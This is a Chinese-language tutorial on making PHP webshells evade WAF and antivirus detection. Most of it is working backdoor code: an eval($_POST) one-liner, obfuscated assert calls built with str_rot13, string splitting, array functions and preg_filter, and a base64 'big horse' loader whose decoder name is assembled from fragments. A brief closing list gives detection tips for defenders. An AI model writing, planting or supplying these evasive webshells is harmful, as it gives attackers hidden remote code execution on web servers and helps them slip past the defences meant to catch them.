Webshell免杀
字数 827 2025-08-18 11:38:41
PHP Webshell免杀技术详解
一、一句话木马基础
1. 基本概念
一句话木马(小马)是渗透测试中最常用的后门工具,通常与中国菜刀等工具配合使用。当遇到WAF防护时,需要寻找免杀的大马进行挂马。
2. 基础PHP一句话木马
<?php @eval($_POST['x']);?>
eval:执行接收的代码$_POST['x']:接收客户端发送的数据
二、免杀技术分类
1. 字符串编码与混淆
(1) str_rot13函数
<?php
$c=str_rot13('nffreg'); // rot13('nffreg') = 'assert'
$c($_REQUEST['x']);
?>
(2) 函数封装版
<?php
function xiaoma($a){
$c=str_rot13('nffreg');
$c($a);
}
xiaoma($_REQUEST['x']);
?>
(3) 类封装+字符串分割
<?php
class One{
function xiaoma($x){
$c=str_rot13('n!ff!re!nffreg');
$str=explode('!',$c)[3];
$str($x);
}
}
$test=new One();
$test->xiaoma($_REQUEST['x']);
?>
2. 数组函数利用
(1) array_map函数
<?php
$a1=array("1234","123456");
$a2=array(@$_REQUEST['x'],"1234");
$a=array_map(null,$a1,$a2)[0][1];
assert($a);
?>
(2) array_keys函数
<?php
$a=array($_REQUEST['x']=>"3");
$b=array_keys($a)[0];
eval($b);
?>
3. 正则函数利用
(1) preg_replace函数(5.6以下版本)
<?php
function func(){
return $_REQUEST['x'];
}
preg_replace("/test/e",func(),"i am test");
?>
(2) preg_filter函数
<?php
$a=preg_filter('/\s+/','','as s er t'); // 结果为"assert"
$a($_REQUEST['x']);
?>
4. 字符串拼接技术
<?php
function test($a){
$arr = array('a','s','s','e','r','t');
$func = '';
for($i=0;$i<count($arr);$i++) {
$func.=$func.$arr[$i];
}
$func=substr($func,-6);
$func($a);
}
test($_REQUEST['x']);
?>
三、大马免杀技术
1. 基础思路
将大马源码进行base64编码,然后通过解码执行。
2. 实现方法
(1) 类封装版
<?php
header("Content-type: text/html; charset=utf-8");
class one{
public function dama(){
$l='base';
$o='64_de';
$v='co';
$e='de';
$love=$l.$o.$v.$e;
$c="love";
$shellname='网站安全检测';
$password='xxx';
$myurl='http://www.xxx.com';
$a=
$$
c('code'); // 相当于base64_decode('code')
@eval($a);
}
}
$person = new one;
$person->dama();
?>
(2) 函数版
<?php
header("Content-type: text/html; charset=utf-8");
function test($code){
$password='xxx';
$a=preg_filter('/\s+/','','base 64 _ deco de');
$c=$a($code);
@eval($c);
}
$code=''; // code存放php大马
test($code);
?>
四、关键注意事项
-
WAF绕过原理:通过字符串混淆、函数封装、类封装等方式避免直接出现敏感函数名和代码结构
-
版本适配:如preg_replace的/e修饰符在PHP 5.6以上版本已废弃
-
编码技巧:
- 使用字符串分割拼接
- 利用数组函数间接传递参数
- 通过编码函数隐藏真实意图
-
大马处理:
- 将大马源码base64编码后放入变量
- 避免直接使用base64_decode等敏感函数名
- 使用字符串拼接构造解码函数名
-
防护建议:
- 监控eval、assert等危险函数的使用
- 检查异常的正则表达式执行
- 关注数组函数的异常使用模式
- 对base64解码操作进行严格审查
五、总结
PHP Webshell免杀技术主要通过以下几种方式实现:
- 敏感函数名混淆(编码、分割、拼接)
- 代码结构封装(函数、类)
- 非常规函数利用(数组函数、正则函数)
- 大马源码编码隐藏
防御方应关注这些技术特征,建立相应的检测规则,而攻击方则不断演进这些技术以绕过防护。这是一场持续的技术对抗。